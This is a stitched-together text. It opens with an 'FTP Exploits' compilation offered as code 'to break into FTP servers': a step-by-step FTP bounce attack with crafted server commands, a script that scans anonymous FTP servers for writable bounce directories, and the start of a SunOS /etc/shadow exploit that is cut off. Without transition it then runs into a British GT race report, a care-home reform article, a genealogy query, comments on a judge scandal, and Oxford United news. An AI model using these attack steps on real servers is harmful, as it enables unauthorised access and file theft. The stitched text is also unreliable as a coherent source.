text: FTP Exploits By Ankit Fadia ankit FTP Exploits By Ankit Fadia email@example.com BSRF = http://blacksun.box.sk/ ________________________________________________________________________________ After the lovely response that I got once the Sendmail Holes Manual was released, I decided to also release a similar one on FTP Exploits.I have got all the code that you need to break into FTP servers, but again I am assuming that you know how to program and have some idea as to how to put this code to use. Exploit List The FTP BOUNCE Exploit Local FTP exploit for SunOS 5.x, exposes /etc/shadow Wu-ftpd 2.4(1) site exec local root exploit Wu-ftpd v2.4.2-beta18 mkdir remote exploit for RedHat Linux Wu-2.4.2-academ[BETA-18](1) wu-ftpd remote exploit for RedHat Linux 5.2 Another local FTP exploit for SunOS 5.x, exposes /etc/shadow The FTP BOUNCE Exploit Date: Wed, 12 Jul 1995 02:20:20 -0400 Subject: The FTP Bounce Attack To: Multiple recipients of list BUGTRAQ <firstname.lastname@example.com> This discusses one of many possible uses of the "FTP server bounce attack". The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol. Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them. The motive ========== You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site [as near as FTP Exploits By Ankit Fadia ankit their FTP server can determine from the DNS, that is]. In any case, you cannot directly retrieve what you want from crypto.com's server. However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too. You happen to know that /incoming on ufred.edu is a world-writeable directory that any anonymous user can drop files into and read them back from. Crypto.com's IP address is C.C.C.C. The attack ========== This assumes you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address [not localhost] and log in. Change to a convenient directory that you have write access to, and then do: quote "pasv" quote "stor foobar" Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this. Construct a file containing FTP server commands. Let's call this file "instrs". It will look like this: user ftp pass -anonymous@ cwd /export-restricted-crypto type i port F,F,F,F,X,X retr crypto.tar.Z quit ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ... F,F,F,F,X,X is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data. The reason for this filler is explained later. Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your "instrs" file over and then tells ufred.edu's FTP server to connect to FTP Exploits By Ankit Fadia ankit crypto.com's FTP server using your file as the commands: put instrs quote "port C,C,C,C,0,21" quote "retr instrs" Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP connection. If the connection to ufred.edu didn't die by itself due to an apparently common server bug, clean up by deleting "instrs" and exiting. Otherwise you'll have to reconnect to finish. Discussion ========== There are several variants of this. Your PASV listener connection can be opened on any machine that you have file write access to -- your own, another connection to ufred.edu, or somewhere completely unrelated. In fact, it does not even have to be an FTP server -- any utility that will listen on a known TCP port and read raw data from it into a file will do. A passive-mode FTP data connection is simply a convenient way to do this. The extra nulls at the end of the command file are to fill up the TCP windows on either end of the ufred -> crypto connection, and ensure that the command connection stays open long enough for the whole session to be executed. Otherwise, most FTP servers tend to abort all transfers and command processing when the control connection closes prematurely. The size of the data is enough to fill both the receive and transmit windows, which on some OSes are quite large [on the order of 30K]. You can trim this down if you know what OSes are on either end and the sum of their default TCP window sizes. It is split into lines of 250 characters to avoid overrunning command buffers on the target server -- probably academic since you told the server to quit already. If crypto.com disallows *any* FTP client connection from you at foreign.fr and you need to see what files are where, you can always put "list -aR" in your command file and get a directory listing of the entire tree via ufred. You may have to retrieve your command file to the target's FTP server in ASCII mode rather than binary mode. Some FTP servers can deal with raw newlines, but FTP Exploits By Ankit Fadia ankit others may need command lines terminated by CRLF pairs. Keep this in mind when retrieving files to daemons other than FTP servers, as well. Other possbilities ================== Despite the fact that such third-party connections are one-way only, they can be used for all kinds of things. Similar methods can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time. A little thought will bring realization of numerous other scary possibilities. Connections launched this way come from source port 20, which some sites allow through their firewalls in an effort to deal with the "ftp-data" problem. For some purposes, this can be the next best thing to source-routed attacks, and is likely to succeed where source routing fails against packet filters. And it's all made possible by the way the FTP protocol spec was written, allowing control connections to come from anywhere and data connections to go anywhere. Defenses ======== There will always be sites on the net with creaky old FTP servers and writeable directories that allow this sort of traffic, so saying "fix all the FTP servers" is the wrong answer. But you can protect your own against both being a third-party bouncepoint and having another one used against you. The first obvious thing to do is allow an FTP server to only make data connections to the same host that the control connection originated from. This does not prevent the above attack, of course, since the PASV listener could just as easily be on ufred.edu and thus meet that requirement, but it does prevent *your* site from being a potential bouncepoint. It also breaks the concept of "proxy FTP", but hidden somewhere in this paragraph is a very tiny violin. The next obvious thing is to prohibit FTP control connections that come from FTP Exploits By Ankit Fadia ankit reserved ports, or at least port 20. This prevents the above scenario as stated. Both of these things, plus the usual poop about blocking source-routed packets and other avenues of spoofery, are necessary to prevent hacks of this sort. And think about whether or not you really need an open "incoming" directory. Only allowing passive-mode client data connections is another possibility, but there are still too many FTP clients in use that aren't passive- aware. "A loose consensus and running code" ==================================== There is some existing work addressing this available here at avian.org [and has been for several months, I might add] in the "fixkits archive". Several mods to wu-ftpd-2.4 are presented, which includes code to prevent and log attempts to use bogus PORT commands. Recent security fixes from elsewhere are also included, along with s/key support and various compile-time options to beef up security for specific applications. Stan Barber at academ.com is working on merging these and several other fixes into a true updated wu-ftpd release. There are a couple of other divergent efforts going on. Nowhere is it claimed that any of this work is complete yet, but it is a start toward something I have had in mind for a while -- a network-wide release of wu-ftpd-2.5, with contributions from around the net. The wu-ftpd server has become very popular, but is in sad need of yet another security upgrade. It would be nice to pull all the improvements together into one coordinated place, and it looks like it will happen. All of this still won't help people who insist on running vendor-supplied servers, of course. Sanity-checking the client connection's source port is not implemented specifically in the FTP server fixes, but in modifications to Wietse's tcp-wrappers package since this problem is more general. A simple PORT option is added that denies connections from configurable ranges of source ports at the tcpd stage, before a called daemon is executed. Some of this is pointed to by /src/fixkits/README in the anonymous FTP FTP Exploits By Ankit Fadia ankit area here. Read this roadmap before grabbing other things. Notes ===== Adding the nulls at the end of the command file was the key to making this work against a variety of daemons. Simply sending the desired data would usually fail due to the immediate close signaling the daemon to bail out. If WUSTL has not given up entirely on the whole wu-ftpd project, they are keeping very quiet about further work. Bryan O'Connor appears to have many other projects to attend to by now... This is a trivial script to find world-writeable and ftp-owned directories and files on a unix-based anonymous FTP server. You'd be surprised how many of those writeable "bouncepoints" pop out after a short run of something like this. You will have to later check that you can both PUT and GET files from such places; some servers protect uploaded files against reading. Many do not, and then wonder why they are among this week's top ten warez sites... #!/bin/sh ftp -n $1 << FOE quote "user ftp" quote "pass -nobody@" prompt cd / dir "-aR" xxx.$$ bye FOE # Not smart enough to figure out ftp's numeric UID if no passwd file! cat -v xxx.$$ | awk ' BEGIN { idir = "/" ; dirp = 0 } /.:$/ { idir = $0 ; dirp = 1 ; } /^[-d][-r](......w.|........ *[0-9]* ftp *)/ { if (dirp == 1) print idir dirp = 0 print $0 }' rm xxx.$$ Local FTP exploit for SunOS 5.x, exposes /etc/shadow #!/bin/sh # # http://www.anticode.com for the latest exploits, tools and documents! # # Exploit to get (at least most of) the /etc/shadow file in SunOS 5.5x.

|Nissan Prepares for British GT Showdown
|The scene has been set for a dramatic showdown in the 2012 British GT Championship with a group of cars all in with a shot at the title at the season-closer in three weeks' time. This weekend's race at Silverstone produced a mixed result for many of the title contenders, not least the Nissan GT-R Nismo GT3 that finished in eighth place after a three-hour long battle at Silverstone.
The No.35 Nissan GT-R is still in third place in the championship but the scores are so close that the Donington race looks set to become a winner-takes-all event.
Even though it was Jann Mardenborough's 21st birthday last weekend, the young Nissan racer didn't get the winner's trophy this time out. With many of the top runners receiving time penalties for various on-track misdemeanours, the No.35 Nissan GT-R wasn't left out and had a few too many trips to the 'naughty step'.
The weekend started well for the team and Jann qualified the GT-R in ninth place against the professional racers in the series. His team-mate Alex Buncombe took the start and was up to third place by lap four and then took third just a couple of laps later. It looked like they would be able to climb up the order and take a top result but then the penalties began to come. The main issue was with drivers running too wide at Copse corner but that extra bit of tarmac was far too enticing for most of the cars on track today, one of which got caught out six times!

The plan to solve our care home crisis
When Johann Hari wrote a powerful account of the atrocious treatment his grandmother suffered during the last years of her life, a huge number of readers wrote in with similar stories of abuse, neglect and defeat. Here, he presents a 10-point strategy to protect the elderly
Wednesday 26 January 2011
My grandmother hated anybody making a fuss over her. The only time I ever tried to capture her on a home video, she dashed out of the room shouting "I dinnae want to be televised!" So she would have been bemused to discover that the story of the last 10 years of her life – in which she was treated atrociously by a series of care homes – caused such a reaction after I wrote about it 10 days ago. Since that article came out, I've been hit by a tsunami of emails from relatives and dissident care workers describing how they have seen elderly people being abused, neglected, drugged and defeated in residential homes across Britain. My grandmother went through a nightmare – but she was not the only one.
I have no doubt that if it was revealed tomorrow that the kennels across Britain were treating dogs this way, there would be mass protests on the streets. Do we really care about our grandparents less than our animals? I hope not. There is real pain in these emails – and there is a searing knowledge that this system will swallow us too in time, unless we radically reform it. So the emails have almost all ended with an insistent question: how can we stop this ever happening to another person? How do we stop it happening to us?
I'm glad the Care Services Minister Paul Burstow responded to the story by saying: "this shouldn't happen to anyone's grandmother". I'm sure he's sincere. But sympathy isn't a political program. If we are going to protect the 500,000 people currently in old people's homes – Ghosts of Christmas Future for all of us in an ageing society – we need a manifesto for transforming this system. Based on interviews with the best and bravest defenders of the elderly in Britain, I have drawn up a 10-point plan to do just that.
Act One Support elderly people to stay in their own homes wherever possible
Everyone would rather stay in their own home than be institutionalised. There is a whole range of services that make this possible – from Meals on Wheels to home helps who are there to help an old man to shower in the morning and get into bed at night. We should be stepping them up, to keep anybody who possibly can free and independent. Instead, we are ruthlessly stripping them away. The local councils who provide these services are facing the largest cuts of any part of this cut-hungry government. As a direct result, Which? magazine reports that councils are "tightening their eligibility criteria, cutting services and putting up prices" on help for the elderly. All the charities for the elderly are warning frantically that many won't be able to cope, and will end up falling over trying to shower themselves, or wasting away because they can't cook for themselves. The result? Huge numbers of people who could have stayed at home with a little help are about to get knocked into the care system.
Act Two They are better off with their families – so offer the care home funds to them first
It costs £450 a week on average to keep an old person in an institution. Almost all of these older people would rather be with their families, yet many families feel they can't cope. But what if you offered them the £450 a week, with which they could buy carers to come in every day to help? Many would be delighted to take up the offer. Alas, in my grandmother's case, it would have been impossible – her disability was too great, and she could only be moved by a large hoist – but for many people it would work. So make the funds transferable. Once an elderly person is judged to be in need of residential care, offer the same £450-a-week to her family first, with a home becoming a last resort. Many wards of old people's homes would empty overnight.
Act Three Make being a care worker a desirable profession
Today, our elderly are looked after by people who are paid the same amount as street-sweepers, and have the same level of training. The Care Quality Commission (CQC) says that 72 per cent of staff have no recorded relevant qualification. Many of the people looking after my grandmother had been given no training at all except for being shown a DVD about how to lift people for an afternoon, and then being left alone with 30 people with dementia. Some of the care workers for my grandmother responded with incredible sympathy and kindness. More reacted with irritation, anger and panic. They had no idea how to respond to the sudden paranoia and fear of a dementia patient: I often saw them telling my grandmother and others "not to be stupid," or snapping that she should "stop fooling around," which only made her more panicked and afraid.
Care workers are regarded here in many homes as, in effect, managers of cattle. One wrote to me this week saying: "Whenever I try to stop and have a conversation with a resident about how they are feeling, I am told off for wasting time by my manager. Lifting, washing and feeding are seen as work. Talking and caring are seen as luxuries." The turnover of staff is huge: within two years, 60 per cent have dropped out.
It doesn't have to be this way. In Scandinavia, being a care worker is a desirable and well-paid job, with long-term career prospects – so the homes are far better. You get what you pay for. How do we afford it? If we imposed a windfall tax on the banker's £7bn in undeserved bonuses tomorrow, we could double the wage of every care home worker in Britain, and so demand much better standards of training and qualifications. It would transform the lives of elderly people in one step.
Act Four Make every home publish its staff-to-residents ratio
Every parent knows how many pupils there are per teacher in their child's school. Nobody knows how many carers there are per resident in their granny's home. I asked at every home I considered: nobody would tell me. But this can make the difference between a good home and a terrible one.
If a care worker is scrambling to look after 30 needy old people, they won't be able to talk, or show kindness, or listen, even when they have good intentions. Even people who seem to have mentally disintegrated can respond to sustained conversation. In my grandmother's second home, there was a woman who spent all day howling: "Moira! Moira! Where are you Moira?" She had an Irish accent, so one day I asked her what part of Ireland she was from. At first she ignored me. So I started talking about when I had last been to Ireland for about 10 minutes, and suddenly she said, "Oh, I haven't been to Dublin for a long time," and started asking about the sights, and how the city had changed. The staff were amazed. Nobody had ever tried to engage with her amid the constant scramble. So publish the ratios. Make the homes compete to show they have the best ability to stop and talk.
Act Five Impose minimum nutritional standards for the food
The food in every old people's home I have ever been to is horrible flavourless slop. "In the home where I work, they spend £8 a week per head on food," one distressed care worker told me. "I am serving tinned spaghetti as dinner, without vegetables, to hungry elderly people, day in, day out, because that's what they make. I feel ashamed." For many people lost off the farthest shores of dementia, food is the last pleasure they will have, and a delicious mouthful is the last thing that can make them smile – and we offer them leathery mash. In our schools, there are strict nutritional requirements on the food they serve. In our old people's homes, the only requirement is that the food should be "of sufficient quality" – left undefined and unenforced.
Act Six Change the attitude
In every home my grandmother lived in except the last, they had a "bedtime", when my grandmother and everybody else was wheeled off and covered up, whether they wanted it or not. "But what if she wants to sit up and watch television and talk?" I asked one care worker in that first week. "Tough," she said. "We have a home to run." The job of any care home should be to serve the will and desire of its residents to live their lives, their way. But too often their desires are seen as a hassle, getting in the way of the smooth running of the place. Once real training begins, respect for the resident's own desires should be at its heart.
Act Seven Stop the mass prescription of anti-psychotics to rebelling residents
Many elderly people are horrified to be dumped in this excruciatingly boring and loveless environment – and respond with an entirely rational rage. They are quickly drugged into submission. The Alzheimer's Society says 140,000 people are being subjected to a "chemical cosh" – a cocktail of anti-psychotic drugs that they don't need – that reduces them to drooling zombies. To his credit, Paul Burstow has issued a ministerial directive saying this should stop, but who is checking? Gary Fitzgerald, the director of Action on Elder Abuse, says: "It's still happening on a massive scale. It's an easy and cheap way to control somebody who is very distressed. It takes more time to figure out why they are so upset, and to change the environment. So they reach for the pills."
It's One Grandfather Flew Over the Cuckoo's Nest. To really stop it, you need...
Act Eight Restore proper inspections of care homes
Judy Downey is a former care home inspector who now runs the Relatives and Residents Association. She explains that, beginning in the last days of New Labour and intensifying under the Conservatives, "inspections of care homes are basically being abolished. It's the great untold story."
If you try to contact the official care home inspectors, the Care Quality Commission, to say you are worried about or have witnessed elder abuse, they tell you to go away. Their website declares: "We cannot investigate your individual complaint." They refuse to act on warnings from members of the public. Instead, they tell you to plead with the home itself, or to contact charities for the elderly, or the Citizens Advice Bureaux – neither of whom are equipped by law or enough financial support to deal with this problem.
That is only one symptom of how the inspections have collapsed. In 2005, there were 50,000 physical inspections of care homes. This year, there will be a quarter of that number. David Cameron has called for "light touch regulation" of this sector, so homes are increasingly being asked to engage in "self-assessment". That means they will be asked to fill in a few forms. "But no home will admit on a form that it's gone wrong," says Downey. "You need people to actually go there and see it." Does anybody think that Parkside House in Nottingham, where five people died from rotting pressure sores caused by neglect, would have admitted on a form what they were doing?
The few inspectors that remain aren't even specialists in old people's homes. They could find themselves from one day to the next inspecting a plastic surgery clinic, a drug rehab unit, dental services, blood transfusion units, an abortion clinic, or prison facilities. The dedicated inspector of old people's homes no longer exists.
The fewer eyes there are on these homes, the more abuse there will be. So in addition to restoring frequent official inspections, we need to restore financial support for the network of charities that stand up for the elderly and make sure they are visited. For example, the Relatives and Residents Association is a brilliant group that helps confined old people who are screaming for help. From 1992 to this year, they received £40,000 a year to keep going. Now their funds have been stripped away. Others are facing similar cuts. But the opposite should be happening. These charities need to be expanded. They want to co-ordinate networks of volunteers with old people who have nobody to visit them, to make sure there's a constant flow of outsiders going into homes. The people who work there need to know there are eyes on them all the time. That takes official inspections, and even more frequent unofficial inspections from volunteers, friends and relatives letting the sunlight in.
Act Nine Make sure care homes that are shut down stay shut down
Every home that my grandmother lived in was rated as "good" by the inspectors, including the one where they forced her to walk on broken legs. So I can't even imagine what the homes they rate as so bad they have to be shut down must be like. Yet the brilliant investigative journalist Fran Abrams discovered something startling in a recent report for the BBC's File on Four. At least a dozen homes that were shut down for appalling standards last year simply reopened the next day in the same building with the same management, under a new name – and were allowed to "look after" elderly people. Indeed, they are then listed on the official inspectors' website as a new home, with no critical reports. That is how farcical and toothless our inspection regime currently is.
Act Ten Impose serious criminal consequences for elder abuse
At the moment, people who are caught committing crimes against elderly people in homes are almost never sent to prison. Last week, a couple in a care home in Cardiff were convicted of sadistically terrorising the elderly people in their care, including flicking their ears until they were "red raw". They were given a few hundred hours community service. A 17-year-old who raped an 86-year-old woman in a care home was sentenced to only three years and will serve much less. Gary FitzGerald says: "The message from so many verdicts like this is that you can attack elderly people and get away with it. We need a crime against an elderly person to be taken as seriously as a crime against the rest of us."
If the Government is serious in its sympathy for my grandmother and all the other people like her, they will offer more than honeyed words. They will follow these 10 steps. At the moment, they are moving in the opposite direction. They are cutting funds for the elderly and stepping down the few remaining inspectors. The horror that happened to my grandmother will happen to even more people.
But the Government will only act if we make this one of our priorities and demand it. At the moment, we turn away from care homes with an embarrassed shudder. We don't want to see. We don't want to hear. We want to jab some more Botox into our face and pretend that our youth is a permanent truth. It is revealing that the only time that care for the elderly ever enters the mainstream political debate is when they have to sell their empty homes to pay for their care. In other words, you only get angry when granny has to sell your inheritance, not when she is being shut away and abused.
The neglect of this issue by the Government is a reflection of our neglect. They are not acting because we are not acting. I feel ashamed enough that I only saw my grandmother twice a week. But every time I did, I would stare out at rows of elderly people who nobody ever came to see. Where were their families? What did they tell themselves? "Moira! Moira!" that woman would scream all day, but Moira never came. The generation of old people currently confined to homes saved us from the Nazis. Will we save them from our own indifference?

I am looking for information on Saleta Holland. She left Pike Co. AR around 1900 and supposedly moved to Riverside Co. with 2 or 3 of her sons. (James Americus, Christopher Columbus and William.) Her son George Washington Holland, my husband's great grandfather, stayed in Pike Co. and there was a daughter Eveline, who stayed in Georgia. Saleta married William J Holland in GA about 1838, He apparently died during the Cicil War.
Any info would be appreciated. I have nothing on her after leaving AR.
I found a message from a Stephanie Macchai about a letter in 1902 from Eveline, but can't find Stephanie.

Judge suspended over rent boy allegations

What a silly old fool! He made terrible mistakes and has to suffer the consequences, but I do feel rather sorry for the poor man. It is a tragedy in the true sense of the word- the story has all the qualities of a classic tragedy as I was taught in A Level English- the conflict, the fatal flaw etc. TV drama, anyone?
Lets face it its not really anything new is it. Remember all the scandal about the judges who visited Mrs Cynthia Payne for some fun and frolics (and a darn good spanking!)
There is no fool like an old fool. Any inteligent person should know. Never to mix business with pleasure, now he's paying the price poor sod.
"He was at real risk of being blackmailed. Imagine the power a criminal could wield over a judge with info like this."
How very, very true Mister William. I can only imagine what they would do it the judge didn't sucumb to their pressure.
@Sister Mary Clarence
probably run to the News of the World!
Oh wait! That's exactly what happened anyway. I wonder how much Williams was paid for spilling the dirt, ruining a (follish) man's career and family. And I wonder why Williams did it: no-one will ever trust him again – especially in his "business" life.
I hope the gay community will speak out against what this gay escort has done to another gay man. Some have called this judge an old fool – you know nothing about his personal life, his marriage, or his private gay world. Some younger people can't appreciate why an older person might get married when they are gay, but many did, and this judge is no different. He found his outlets, and then he appeared to fall in love with a young man who eventually betrayed him. It's a disgrace that Williams did this, he cannot hold his head up in gay company and pretend to be concerned about gay rights. He saw the money and went for it. What goes around comes around, Williams: that money will bring you no happiness in the end. You will have to live with what you did to this man. What was his crime? He opened his life to you, and your relationship could have been the nudge that pushed him out of the closet. Instead, you kicked him out of the closet with the help of homophobes in the tabloid press. I hope you feel proud of yourself, because I as a gay man feel ashamed to call you gay.
I second Gillon's comments. Williams should be ashamed of himself: I was especially disgusted that he would deliberately hurt Prince's wife in the way that has been reported. I hope Williams' gay friends (if has any left) come to realise what a malicious, money-grabbing loser they're associating with.

GARY Waddock's search for new players continues, but as Oxford United returned for pre-season training yesterday, the head coach admitted no signings were imminent.
The squad underwent a variety of tests at the training ground to assess their fitness after the summer break.
It took place against a backdrop of speculation concerning ownership of the club, with groups headed by Mark Ashton and Charlie Methven understood to be interested in taking over from owner Ian Lenagan.
Striker Danny Hylton was the only new face on view and some supporters have questioned whether the uncertainty surrounding United is linked with a very quiet summer which has yielded just one signing.
While Waddock stressed the hard work behind the scenes to strengthen the squad continues, there is little prospect of deals in the next couple of days.
He said: "I would like to say we've got another x-amount of players coming in, that isn't the case at the moment.
"We're looking, we've got a group of players here we're going to work with and we've got a young group of players coming through the system."
Waddock was reluctant to get drawn into any discussion about boardroom matters as he focused on buiding for the new season.
He said: "It's got nothing to do with me, I'm employed here to be head coach. What goes on above, I can't pass comment on that."
Lenagan remained unavailable for comment yesterday, with the club's supporters' trust calling for transparency from all interested parties over their plans for the stadium.
Last year, OxVox won a landmark case which made the Kassam Stadium an Asset of Community Value, giving them the right to activate a six-month moratorium to put together a rival bid if an offer was submitted.
If a bid is accepted on the Kassam Stadium, the right to bid is triggered.
The OxVox committee would then seek to get information from the bidding party and make a recommendation to members on whether to remove or activate the right to bid.
While no such move has been made so far, it is felt anyone looking to take over would also look to strike a deal for the ground, which is the key asset.
Mark Sennett, OxVox chairman, is keen to ensure if it happens, the club are the ones to benefit.
He said: "We would support as a committee any bid for Oxford United to own the asset and for it to be beneficial, but we can't do that if we don't know what the aims are.
"The committee could only support a bid if Oxford United owner the stadium not a subsidiary company as the club's long-term future relies on it having the asset in its name and benefiting from the revenues.
"If a new owner wanted the stadium ownership put in a subsidiary company then this might offer short term gains of no rent, or extra revenues.
"But this situation could change down the line at the whim of that owner.
"The only way for the club to truly come together with the stadium is for Oxford United to own it.
"It is in that situation, or at the very least the stadium being held in a trust for the club, that we would advise members to remove the right to bid."
